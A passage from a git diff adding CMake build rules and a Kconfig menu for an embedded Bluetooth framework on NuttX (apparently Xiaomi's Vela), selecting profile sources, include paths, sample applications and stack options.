${BLUETOOTH_DIR}/service/stacks/zephyr/sal_le_advertise_interface.c) + endif() + + if(CONFIG_BLUETOOTH_BLE_SCAN) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/stacks/zephyr/sal_le_scan_interface.c) + endif() + + if(CONFIG_BLUETOOTH_GATT_CLIENT) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/stacks/zephyr/sal_gatt_client_interface.c) + endif() + + if(CONFIG_BLUETOOTH_GATT_SERVER) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/stacks/zephyr/sal_gatt_server_interface.c) + endif() + endif() + + if(NOT CONFIG_BLUETOOTH_BLE_AUDIO) + file(GLOB EXLUDE_FILES ${BLUETOOTH_DIR}/service/stacks/bluelet/sal_lea_*) + list(REMOVE_ITEM CSRCS ${EXLUDE_FILES}) + endif() + + file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/*.c) + list(APPEND CSRCS ${APPEND_FILES}) + + file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/system/*.c) + list(APPEND CSRCS ${APPEND_FILES}) + + if(NOT CONFIG_BLUETOOTH_A2DP) + list(REMOVE_ITEM CSRCS + ${BLUETOOTH_DIR}/service/profiles/system/bt_player.c) + endif() + + if(NOT + (CONFIG_BLUETOOTH_A2DP + OR CONFIG_BLUETOOTH_HFP_AG + OR CONFIG_BLUETOOTH_HFP_HF + OR CONFIG_BLUETOOTH_BLE_AUDIO)) + list(REMOVE_ITEM CSRCS + ${BLUETOOTH_DIR}/service/profiles/system/media_system.c) + else() + file(GLOB APPEND_FILES + ${BLUETOOTH_DIR}/service/profiles/audio_interface/*.c) + list(APPEND CSRCS ${APPEND_FILES}) + endif() + + if(CONFIG_BLUETOOTH_GATT_CLIENT) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/profiles/gatt/gattc_event.c) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/profiles/gatt/gattc_service.c) + endif() + + if(CONFIG_BLUETOOTH_GATT_SERVER) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/profiles/gatt/gatts_event.c) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/profiles/gatt/gatts_service.c) + endif() + + if(CONFIG_BLUETOOTH_A2DP) + file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/a2dp/*.c) + list(APPEND CSRCS ${APPEND_FILES}) + + file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/a2dp/codec/*.c) + list(APPEND CSRCS ${APPEND_FILES}) + + list(APPEND INCDIR ${BLUETOOTH_DIR}/service/profiles/a2dp) + + list(APPEND INCDIR ${BLUETOOTH_DIR}/service/profiles/a2dp/codec) + endif() + + if(CONFIG_BLUETOOTH_A2DP_SOURCE) + file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/a2dp/source/*.c) + list(APPEND CSRCS ${APPEND_FILES}) + endif() + + if(CONFIG_BLUETOOTH_A2DP_SINK) + file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/a2dp/sink/*.c) + list(APPEND CSRCS ${APPEND_FILES}) + endif() + + if(CONFIG_BLUETOOTH_AVRCP_TARGET OR CONFIG_BLUETOOTH_AVRCP_CONTROL) + file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/avrcp/*.c) + list(APPEND CSRCS ${APPEND_FILES}) + + list(APPEND INCDIR ${BLUETOOTH_DIR}/service/profiles/avrcp) + endif() + + if(CONFIG_BLUETOOTH_AVRCP_TARGET) + file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/avrcp/target/*.c) + list(APPEND CSRCS ${APPEND_FILES}) + endif() + + if(CONFIG_BLUETOOTH_AVRCP_CONTROL) + file(GLOB APPEND_FILES + ${BLUETOOTH_DIR}/service/profiles/avrcp/control/*.c) + list(APPEND CSRCS ${APPEND_FILES}) + endif() + + if(CONFIG_BLUETOOTH_HFP_HF) + file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/hfp_hf/*.c) + list(APPEND CSRCS ${APPEND_FILES}) + endif() + + if(CONFIG_BLUETOOTH_HFP_AG) + file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/hfp_ag/*.c) + list(APPEND CSRCS ${APPEND_FILES}) + endif() + + if(CONFIG_BLUETOOTH_SPP) + file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/spp/*.c) + list(APPEND CSRCS ${APPEND_FILES}) + endif() + + if(CONFIG_BLUETOOTH_HID_DEVICE) + file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/hid/*.c) + list(APPEND CSRCS ${APPEND_FILES}) + endif() + + if(CONFIG_BLUETOOTH_PAN) + file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/pan/*.c) + list(APPEND CSRCS ${APPEND_FILES}) + endif() + + if(CONFIG_BLUETOOTH_LEAUDIO_CLIENT OR CONFIG_BLUETOOTH_LEAUDIO_SERVER) + file(GLOB APPEND_FILES + ${BLUETOOTH_DIR}/service/profiles/leaudio/audio_ipc/*.c) + list(APPEND CSRCS ${APPEND_FILES}) + + file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/leaudio/*.c) + list(APPEND CSRCS ${APPEND_FILES}) + + file(GLOB APPEND_FILES + ${BLUETOOTH_DIR}/service/profiles/leaudio/codec/*.c) + list(APPEND CSRCS ${APPEND_FILES}) + endif() + + if(CONFIG_BLUETOOTH_LEAUDIO_SERVER) + file(GLOB APPEND_FILES + ${BLUETOOTH_DIR}/service/profiles/leaudio/server/*.c) + list(APPEND CSRCS ${APPEND_FILES}) + endif() + + if(CONFIG_BLUETOOTH_LEAUDIO_CCP) + file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/leaudio/ccp/*.c) + list(APPEND CSRCS ${APPEND_FILES}) + endif() + + if(CONFIG_BLUETOOTH_LEAUDIO_MCP) + file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/leaudio/mcp/*.c) + list(APPEND CSRCS ${APPEND_FILES}) + endif() + + if(CONFIG_BLUETOOTH_LEAUDIO_VMICS) + file(GLOB APPEND_FILES + ${BLUETOOTH_DIR}/service/profiles/leaudio/vmics/*.c) + list(APPEND CSRCS ${APPEND_FILES}) + endif() + + if(CONFIG_BLUETOOTH_LEAUDIO_CLIENT) + file(GLOB APPEND_FILES + ${BLUETOOTH_DIR}/service/profiles/leaudio/client/*.c) + list(APPEND CSRCS ${APPEND_FILES}) + endif() + + if(CONFIG_BLUETOOTH_LEAUDIO_MCS) + file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/leaudio/mcs/*.c) + list(APPEND CSRCS ${APPEND_FILES}) + endif() + + if(CONFIG_BLUETOOTH_LEAUDIO_TBS) + file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/profiles/leaudio/tbs/*.c) + list(APPEND CSRCS ${APPEND_FILES}) + endif() + + if(CONFIG_BLUETOOTH_LEAUDIO_VMICP) + file(GLOB APPEND_FILES + ${BLUETOOTH_DIR}/service/profiles/leaudio/vmicp/*.c) + list(APPEND CSRCS ${APPEND_FILES}) + endif() + + if(CONFIG_BLUETOOTH_LOG) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/utils/log_server.c) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/utils/btsnoop_log.c) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/utils/btsnoop_writer.c) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/utils/btsnoop_filter.c) + endif() + + if(CONFIG_BLUETOOTH_HCI_FILTER) + list(APPEND CSRCS ${BLUETOOTH_DIR}/service/vhal/bt_hci_filter.c) + endif() + + file(GLOB APPEND_FILES ${BLUETOOTH_DIR}/service/vhal/bt_vhal.c) + list(APPEND CSRCS ${APPEND_FILES}) + + list(APPEND INCDIR ${BLUETOOTH_DIR}/service/vhal) + endif() + + if(CONFIG_BLUETOOTH_DEBUG_MEMORY) + list(APPEND CSRCS ${BLUETOOTH_DIR}/debug/bt_memory.c) + endif() + + if(CONFIG_APP_BT_SAMPLE_CODE) + if(CONFIG_APP_BT_SAMPLE_CODE_BASIC) + list(APPEND CSRCS ${BLUETOOTH_DIR}/sample_code/basic/app_bt_gap.c) + endif() + + if(CONFIG_APP_BT_SAMPLE_CODE_ENABLE) + list(APPEND CSRCS ${BLUETOOTH_DIR}/sample_code/enable/app_bt_gap.c) + endif() + + if(CONFIG_APP_BT_SAMPLE_CODE_DISCOVERY) + list(APPEND CSRCS ${BLUETOOTH_DIR}/sample_code/discovery/app_bt_gap.c) + endif() + + if(CONFIG_APP_BT_SAMPLE_CODE_CREATEBOND) + list(APPEND CSRCS ${BLUETOOTH_DIR}/sample_code/createbond/app_bt_gap.c) + endif() + + if(CONFIG_APP_BT_SAMPLE_CODE_ACCEPTBOND) + list(APPEND CSRCS ${BLUETOOTH_DIR}/sample_code/acceptbond/app_bt_gap.c) + endif() + endif() + + if(CONFIG_BLUETOOTH_TOOLS) + list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/utils.c) + + if(CONFIG_BLUETOOTH_FRAMEWORK_ASYNC) + list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/async/gap.c) + list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/async/log.c) + + if(CONFIG_BLUETOOTH_BLE_ADV) + list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/async/adv.c) + endif() + + if(CONFIG_BLUETOOTH_BLE_SCAN) + list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/async/scan.c) + endif() + + if(CONFIG_BLUETOOTH_GATT) + list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/async/gatt_client.c) + endif() + endif() + + if(CONFIG_BLUETOOTH_BLE_ADV) + list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/adv.c) + endif() + + if(CONFIG_BLUETOOTH_BLE_SCAN) + list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/scan.c) + endif() + + if(CONFIG_BLUETOOTH_L2CAP) + list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/l2cap.c) + endif() + + if(CONFIG_BLUETOOTH_A2DP_SINK) + list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/a2dp_sink.c) + endif() + + if(CONFIG_BLUETOOTH_A2DP_SOURCE) + list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/a2dp_source.c) + endif() + + if(CONFIG_BLUETOOTH_AVRCP_CONTROL) + list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/avrcp_control.c) + endif() + + if(CONFIG_BLUETOOTH_GATT_CLIENT) + list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/gatt_client.c) + endif() + + if(CONFIG_BLUETOOTH_GATT_SERVER) + list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/gatt_server.c) + endif() + + if(CONFIG_BLUETOOTH_HFP_HF) + list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/hfp_hf.c) + endif() + + if(CONFIG_BLUETOOTH_HFP_AG) + list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/hfp_ag.c) + endif() + + if(CONFIG_BLUETOOTH_LOG) + list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/log.c) + endif() + + if(CONFIG_BLUETOOTH_DEBUG_TRACE) + list(APPEND CSRCS ${BLUETOOTH_DIR}/debug/bt_trace.c) + endif() + + if(CONFIG_BLUETOOTH_SPP) + list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/spp.c) + endif() + + if(CONFIG_BLUETOOTH_HID_DEVICE) + list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/hid_device.c) + endif() + + if(CONFIG_BLUETOOTH_PAN) + list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/panu.c) + endif() + + if(CONFIG_BLUETOOTH_LEAUDIO_SERVER) + list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/lea_server.c) + endif() + + if(CONFIG_BLUETOOTH_LEAUDIO_MCP) + list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/lea_mcp.c) + endif() + + if(CONFIG_BLUETOOTH_LEAUDIO_CCP) + list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/lea_ccp.c) + endif() + + if(CONFIG_BLUETOOTH_LEAUDIO_VMICS) + list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/lea_vmics.c) + endif() + + if(CONFIG_BLUETOOTH_LEAUDIO_CLIENT) + list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/lea_client.c) + endif() + + if(CONFIG_BLUETOOTH_LEAUDIO_VMICP) + list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/lea_vmicp.c) + endif() + + if(CONFIG_BLUETOOTH_LEAUDIO_MCS) + list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/lea_mcs.c) + endif() + + if(CONFIG_BLUETOOTH_LEAUDIO_TBS) + list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/lea_tbs.c) + endif() + + if(CONFIG_BLUETOOTH_STORAGE_UPDATE) + list(APPEND CSRCS ${BLUETOOTH_DIR}/tools/storage_update/storage_tool.c) + endif() + endif() + + list(APPEND INCDIR ${BLUETOOTH_DIR}/framework/include) + list(APPEND INCDIR ${BLUETOOTH_DIR}/framework/common) + + if(CONFIG_LIB_DBUS_RPMSG_SERVER_CPUNAME OR CONFIG_OFONO) + list(APPEND INCDIR ${NUTTX_APPS_DIR}/external/dbus/dbus) + + list(APPEND INCDIR ${NUTTX_APPS_DIR}/external/glib/glib/glib) + + list(APPEND INCDIR ${NUTTX_APPS_DIR}/external/glib/glib) + + list(APPEND INCDIR ${NUTTX_APPS_DIR}/external/glib) + + list(APPEND INCDIR ${NUTTX_APPS_DIR}/frameworks/system/utils/gdbus) + endif() + + list(APPEND INCDIR ${BLUETOOTH_DIR}/service) + + list(APPEND INCDIR ${BLUETOOTH_DIR}/service/src) + + list(APPEND INCDIR ${BLUETOOTH_DIR}/service/common) + + list(APPEND INCDIR ${BLUETOOTH_DIR}/service/profiles) + + list(APPEND INCDIR ${BLUETOOTH_DIR}/service/profiles/include) + + list(APPEND INCDIR ${BLUETOOTH_DIR}/service/profiles/system) + + list(APPEND INCDIR ${BLUETOOTH_DIR}/service/stacks) + + list(APPEND INCDIR ${BLUETOOTH_DIR}/service/stacks/include) + + list(APPEND INCDIR ${BLUETOOTH_DIR}/service/vendor) + + list(APPEND INCDIR ${BLUETOOTH_DIR}/dfx) + + if(CONFIG_BLUETOOTH_SERVICE) + if(CONFIG_BLUETOOTH_STACK_BREDR_BLUELET + OR CONFIG_BLUETOOTH_STACK_LE_BLUELET) + list( + APPEND INCDIR + ${NUTTX_APPS_DIR}/external/bluelet/bluelet/src/samples/stack_adapter/inc + ) + + list(APPEND INCDIR ${NUTTX_APPS_DIR}/vendor/xiaomi/vela/bluelet/inc) + list(APPEND INCDIR ${BLUETOOTH_DIR}/service/stacks/bluelet/include) + endif() + + if(CONFIG_BLUETOOTH_STACK_BREDR_ZBLUE OR CONFIG_BLUETOOTH_STACK_LE_ZBLUE) + list(APPEND INCDIR ${NUTTX_APPS_DIR}/external/zblue/zblue/port/include/) + list(APPEND INCDIR ${NUTTX_APPS_DIR}/external/zblue/zblue/subsys/settings/include/settings) + list(APPEND INCDIR + ${NUTTX_APPS_DIR}/external/zblue/zblue/port/include/kernel/include) + endif() + + list(APPEND INCDIR ${BLUETOOTH_DIR}/service/ipc) + endif() + + if (CONFIG_APP_BT_SAMPLE_CODE) + if(CONFIG_APP_BT_SAMPLE_CODE_BASIC) + list(APPEND INCDIR ${BLUETOOTH_DIR}/sample_code/basic) + endif() + + if(CONFIG_APP_BT_SAMPLE_CODE_ENABLE) + list(APPEND INCDIR ${BLUETOOTH_DIR}/sample_code/enable) + endif() + + if(CONFIG_APP_BT_SAMPLE_CODE_DISCOVERY) + list(APPEND INCDIR ${BLUETOOTH_DIR}/sample_code/discovery) + endif() + + if(CONFIG_APP_BT_SAMPLE_CODE_CREATEBOND) + list(APPEND INCDIR ${BLUETOOTH_DIR}/sample_code/createbond) + endif() + + if(CONFIG_APP_BT_SAMPLE_CODE_ACCEPTBOND) + list(APPEND INCDIR ${BLUETOOTH_DIR}/sample_code/acceptbond) + endif() + endif() + + if(CONFIG_BLUETOOTH_TOOLS) + list(APPEND INCDIR ${BLUETOOTH_DIR}/tools) + endif() + + if(CONFIG_BLUETOOTH_STORAGE_UPDATE) + list(APPEND INCDIR ${BLUETOOTH_DIR}/tools/storage_update) + endif() + + + if(CONFIG_ARCH_SIM) + list(APPEND CFLAGS -O0) + endif() + + list(APPEND CFLAGS -Wno-strict-prototypes) + + nuttx_add_library(libbluetooth STATIC) + + # Add Applications + if(CONFIG_BLUETOOTH_SERVER) + nuttx_add_application( + NAME + ${CONFIG_BLUETOOTH_SERVER_NAME} + SRCS + ${BLUETOOTH_DIR}/service/src/main.c + INCLUDE_DIRECTORIES + ${INCDIR} + STACKSIZE + ${CONFIG_BLUETOOTH_TASK_STACK_SIZE} + PRIORITY + SCHED_PRIORITY_DEFAULT + COMPILE_FLAGS + ${CFLAGS} + DEPENDS + libbluetooth) + endif() + + if(CONFIG_APP_BT_SAMPLE_CODE) + if(CONFIG_APP_BT_SAMPLE_CODE_BASIC) + nuttx_add_application( + NAME + bt_basic + SRCS + ${BLUETOOTH_DIR}/sample_code/basic/basic.c + INCLUDE_DIRECTORIES + ${INCDIR} + STACKSIZE + 8192 + PRIORITY + ${SCHED_PRIORITY_DEFAULT} + COMPILE_FLAGS + ${CFLAGS} + DEPENDS + libbluetooth) + endif() + + if(CONFIG_APP_BT_SAMPLE_CODE_ENABLE) + nuttx_add_application( + NAME + bt_enable + SRCS + ${BLUETOOTH_DIR}/sample_code/enable/enable.c + INCLUDE_DIRECTORIES + ${INCDIR} + STACKSIZE + 4096 + PRIORITY + ${SCHED_PRIORITY_DEFAULT} + COMPILE_FLAGS + ${CFLAGS} + DEPENDS + libbluetooth) + endif() + + if(CONFIG_APP_BT_SAMPLE_CODE_DISCOVERY) + nuttx_add_application( + NAME + bt_discovery + SRCS + ${BLUETOOTH_DIR}/sample_code/discovery/discovery.c + INCLUDE_DIRECTORIES + ${INCDIR} + STACKSIZE + 8192 + PRIORITY + ${SCHED_PRIORITY_DEFAULT} + COMPILE_FLAGS + ${CFLAGS} + DEPENDS + libbluetooth) + endif() + + if(CONFIG_APP_BT_SAMPLE_CODE_ACCEPTBOND) + nuttx_add_application( + NAME + bt_acceptbond + SRCS + ${BLUETOOTH_DIR}/sample_code/acceptbond/acceptbond.c + INCLUDE_DIRECTORIES + ${INCDIR} + STACKSIZE + 8192 + PRIORITY + ${SCHED_PRIORITY_DEFAULT} + COMPILE_FLAGS + ${CFLAGS} + DEPENDS + libbluetooth) + endif() + + if(CONFIG_APP_BT_SAMPLE_CODE_CREATEBOND) + nuttx_add_application( + NAME + bt_createbond + SRCS + ${BLUETOOTH_DIR}/sample_code/createbond/createbond.c + INCLUDE_DIRECTORIES + ${INCDIR} + STACKSIZE + 8192 + PRIORITY + ${SCHED_PRIORITY_DEFAULT} + COMPILE_FLAGS + ${CFLAGS} + DEPENDS + libbluetooth) + endif() + endif() + + if(CONFIG_BLUETOOTH_TOOLS) + nuttx_add_application( + NAME + bttool + SRCS + ${BLUETOOTH_DIR}/tools/bt_tools.c + INCLUDE_DIRECTORIES + ${INCDIR} + STACKSIZE + 8192 + PRIORITY + ${SCHED_PRIORITY_DEFAULT} + COMPILE_FLAGS + ${CFLAGS} + DEPENDS + libbluetooth) + + nuttx_add_application( + NAME + adapter_test + SRCS + ${BLUETOOTH_DIR}/tests/adapter_test.c + INCLUDE_DIRECTORIES + ${INCDIR} + STACKSIZE + 8192 + PRIORITY + ${SCHED_PRIORITY_DEFAULT} + COMPILE_FLAGS + ${CFLAGS} + DEPENDS + libbluetooth) + endif() + + if(CONFIG_BLUETOOTH_UPGRADE) + nuttx_add_application( + NAME + bt_upgrade + SRCS + ${BLUETOOTH_DIR}/tools/storage_transform.c + INCLUDE_DIRECTORIES + ${INCDIR} + STACKSIZE + 8192 + PRIORITY + ${SCHED_PRIORITY_DEFAULT} + COMPILE_FLAGS + ${CFLAGS} + DEPENDS + libbluetooth) + endif() + + if(CONFIG_BLUETOOTH_STORAGE_UPDATE) + nuttx_add_application( + NAME + bt_storage_update + SRCS + ${BLUETOOTH_DIR}/tools/storage_update/storage_update.c + INCLUDE_DIRECTORIES + ${INCDIR} + STACKSIZE + 8192 + PRIORITY + ${SCHED_PRIORITY_DEFAULT} + COMPILE_FLAGS + ${CFLAGS} + DEPENDS + libbluetooth) + endif() + + if(CONFIG_BLUETOOTH_FEATURE) + set(FEATURE_SRCS ${BLUETOOTH_DIR}/feature/src/system_bluetooth_impl.c + ${BLUETOOTH_DIR}/feature/src/feature_bluetooth_util.c + ${BLUETOOTH_DIR}/feature/src/system_bluetooth_bt_impl.c + ${BLUETOOTH_DIR}/feature/src/feature_bluetooth_callback.c) + + target_include_directories(libbluetooth PRIVATE ${CMAKE_CURRENT_LIST_DIR}/feature/include) + + set(JIDL_PATHS ${BLUETOOTH_DIR}/feature/jdil/bluetooth.jidl + ${BLUETOOTH_DIR}/feature/jdil/bluetooth_bt.jidl) + + set(FEATURE_NAMES system_bluetooth system_bluetooth_bt) + + if(CONFIG_BLUETOOTH_A2DP_SINK) + list(APPEND FEATURE_SRCS ${BLUETOOTH_DIR}/feature/src/system_bluetooth_a2dpsink_impl.c) + list(APPEND JIDL_PATHS ${BLUETOOTH_DIR}/feature/jdil/bluetooth_a2dpsink.jidl) + list(APPEND FEATURE_NAMES system_bluetooth_a2dpsink) + endif() + + if(CONFIG_BLUETOOTH_AVRCP_CONTROL) + list(APPEND FEATURE_SRCS ${BLUETOOTH_DIR}/feature/src/system_bluetooth_avrcpcontrol_impl.c) + list(APPEND JIDL_PATHS ${BLUETOOTH_DIR}/feature/jdil/bluetooth_avrcpcontrol.jidl) + list(APPEND FEATURE_NAMES system_bluetooth_avrcpcontrol) + endif() + + nuttx_add_jidl( + TARGET + libbluetooth + FEATURE_SRCS + ${FEATURE_SRCS} + JIDLS + ${JIDL_PATHS} + FEATURE_NAMES + ${FEATURE_NAMES} + OUT_SRC_EXT + c) + elseif(CONFIG_BLUETOOTH_FEATURE_ASYNC) + include(nuttx_add_jidl) + set(PY_SCRIPT ${FEATURE_TOP}/tools/jidl/jsongensource.py) + set(BINARY_EXT_MODULES_DIR ${CMAKE_BINARY_DIR}/feature/modules/) + set(JIDL_PATHS ${BLUETOOTH_DIR}/feature/feature_async/jidl/bluetooth.jidl) + + list(APPEND JIDL_PATHS + ${BLUETOOTH_DIR}/feature/feature_async/jidl/bluetooth_ble.jidl) + + nuttx_add_jidl( + TARGET + libbluetooth + JIDL_SCRIPT + ${PY_SCRIPT} + JIDL_OUT_DIR + ${BINARY_EXT_MODULES_DIR} + JIDLS + ${JIDL_PATHS} + OUT_SRC_EXT + c) + else() + endif() + + # Add Dependson + nuttx_add_dependencies(TARGET libbluetooth DEPENDS libuv) + + # Export Headers + set_property( + TARGET nuttx + APPEND + PROPERTY NUTTX_INCLUDE_DIRECTORIES ${BLUETOOTH_DIR}/include + ${BLUETOOTH_DIR}/framework/include) + + # Library Configuration + target_compile_options(libbluetooth PRIVATE ${CFLAGS}) + target_sources(libbluetooth PRIVATE ${CSRCS}) + target_include_directories(libbluetooth PRIVATE ${INCDIR}) + +endif() diff --git a/Kconfig b/Kconfig new file mode 100644 index 0000000000000000000000000000000000000000..05e32f22c1255c5f5f192089ecaf150da471329f --- /dev/null +++ b/Kconfig @@ -0,0 +1,869 @@ +# +# Copyright (C) 2020 Xiaomi Corporation +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + + +menuconfig BLUETOOTH + bool "Bluetooth" + default n + depends on LIBUV + depends on LIBUV_EXTENSION + +if BLUETOOTH +menuconfig BLUETOOTH_FRAMEWORK + bool "Framework API" + default n + help + Enable Bluetooth Framework API + +if BLUETOOTH_FRAMEWORK +choice + prompt "Select Bluetooth framework type" + default BLUETOOTH_FRAMEWORK_LOCAL + config BLUETOOTH_FRAMEWORK_LOCAL + bool "Use local API without IPC" + config BLUETOOTH_FRAMEWORK_SOCKET_IPC + bool "Use socket IPC API" +endchoice + +if BLUETOOTH_FRAMEWORK_SOCKET_IPC +config BLUETOOTH_RPMSG_CPUNAME + string "Bluetooth RPMsg CPU name" + default "cp" + help + Bluetooth default server name + +config BLUETOOTH_SOCKET_BUF_SIZE + int "Bluetooth socket buffer size" + default 1024 + help + Bluetooth socket buffer size + +config BLUETOOTH_SOCKET_PORT + int "Bluetooth socket port num" + default 140704 + help + Socket port of inet + +endif #BLUETOOTH_FRAMEWORK_SOCKET_IPC + +config BLUETOOTH_FRAMEWORK_ASYNC + bool "Enable Bluetooth Framework async API" + default n + help + Enable Bluetooth Framework async API + +choice + prompt "Select feature API" + default BLUETOOTH_FEATURE_NONE + config BLUETOOTH_FEATURE_NONE + bool "Not supporting Bluetooth feature API." + config BLUETOOTH_FEATURE + bool "Support Bluetooth synchronization API." + depends on FEATURE_FRAMEWORK + config BLUETOOTH_FEATURE_ASYNC + bool "Support Bluetooth asynchronous API." + depends on FEATURE_FRAMEWORK + depends on BLUETOOTH_FRAMEWORK_ASYNC +endchoice + +endif #BLUETOOTH_FRAMEWORK + +menu "Core" +config BLUETOOTH_BREDR_SUPPORT + bool "Bluetooth BREDR" + default y + +config BLUETOOTH_BLE_SUPPORT + bool "Bluetooth LE" + default n + +config BLUETOOTH_BLE_ADV + bool "LE Advertising support" + default n + +config BLUETOOTH_BLE_SCAN + bool "LE Scan support" + default n + +config BLUETOOTH_BLE_SCAN_FILTER + bool "LE Scan Filter support" + default n + depends on BLUETOOTH_BLE_SCAN + +config BLUETOOTH_HCI_FILTER + bool "Enable Bluetooth HCI filter" + default y + help + Enable Bluetooth HCI filter + +config BLUETOOTH_L2CAP + bool "L2CAP dynamic channel support" + default n + +if BLUETOOTH_L2CAP +config BLUETOOTH_L2CAP_OUTGOING_MTU + int "Outgoing MTU" + default 2048 + help + config L2CAP Outgoing MTU + +endif #BLUETOOTH_L2CAP + +choice + prompt "Select BT vendor" + default BLUETOOTH_VENDOR_NONE + config BLUETOOTH_VENDOR_BES + bool "Bluetooth vendor BES" + config BLUETOOTH_VENDOR_ACTIONS + bool "Bluetooth vendor ACTIONS" + config BLUETOOTH_VENDOR_NONE + bool "Bluetooth vendor NONE" +endchoice + +choice + prompt "Select Bluetooth Storage Method(Unqlite, KVDB)" + default BLUETOOTH_STORAGE_UNQLITE_SUPPORT + config BLUETOOTH_STORAGE_PROPERTY_SUPPORT + bool "Bluetooth Storage KVDB Property support" + depends on KVDB + config BLUETOOTH_STORAGE_UNQLITE_SUPPORT + bool "Bluetooth Storage uv_db support" + depends on UNQLITE +endchoice + +config BLUETOOTH_PM_MAX_TIMER_NUMBER + int "Bluetooth PM maximum number of timers" + default 16 + +config BLUETOOTH_STORAGE_UPDATE + bool "Bluetooth Storage update" + default n + depends on BLUETOOTH_STORAGE_PROPERTY_SUPPORT + +config BLUETOOTH_UPGRADE + bool "Enable Bluetooth Storage transformation tool for upgrading OS" + default n + depends on KVDB + depends on UNQLITE + +config BLUETOOTH_TASK_STACK_SIZE + int "Bluetooth task stack size" + default 8192 + help + This cofiguration is used to set the stack size of bluetooth task. + +config BLUETOOTH_SERVICE_LOOP_THREAD_STACK_SIZE + int "Bluetooth Service loop thread stack size" + default 8192 + +config BLUETOOTH_SERVICE_LOOP_THREAD_PRIORITY + int "Bluetooth Service loop thread priority" + default 103 + +config BLUETOOTH_MAX_SAVED_REMOTE_UUIDS_LEN + int "Bluetooth saved remote uuids length" + default 80 + +config BLUETOOTH_MAX_REGISTER_NUM + int "Max register callback nums" + default 4 + +endmenu #Core + +menuconfig BLUETOOTH_SERVICE + bool "Service" + default n + help + Enable Bluetooth Service + +if BLUETOOTH_SERVICE +menuconfig BLUETOOTH_SERVER + bool "Bluetooth Server" + default n + help + Enable Bluetooth server + +if BLUETOOTH_SERVER +config BLUETOOTH_SERVER_NAME + string "Blutooth Server name" + default "bluetoothd" + help + Bluetooth default server name + +config BLUETOOTH_IPC_JOIN_LOOP + bool "Let IPC join service loop" + default n + help + Bluetooth IPC join service loop + +config BLUETOOTH_NET_IPv4 + bool "Let Bluetooth Server listen message from network" + default n + depends on NET_IPv4 + help + Bluetooth server listen message + +endif #BLUETOOTH_SERVER + +if BLUETOOTH_BREDR_SUPPORT +menu "Bluetooth BREDR Config" +choice + prompt "Select BR stack" + default BLUETOOTH_STACK_BREDR_BLUELET + config BLUETOOTH_STACK_BREDR_BLUELET + bool "Classic BT stack use bluelet" + select LIB_BLUELET + config BLUETOOTH_STACK_BREDR_ZBLUE + bool "Classic BT stack use zblue" + config BLUETOOTH_STACK_NOT_SUPPORT_CLASSIC_BT + bool "Not support classic BT stack" +endchoice + +endmenu #Bluetooth BREDR Config +endif #BLUETOOTH_BREDR_SUPPORT + +if BLUETOOTH_BLE_SUPPORT +menu "Bluetooth LE Config" +choice + prompt "Select LE stack" + default BLUETOOTH_STACK_LE_BLUELET + config BLUETOOTH_STACK_LE_BLUELET + bool "BLE Stack use Bluelet" + select LIB_BLUELET + config BLUETOOTH_STACK_LE_ZBLUE + bool "BLE Stack use Zblue" + config 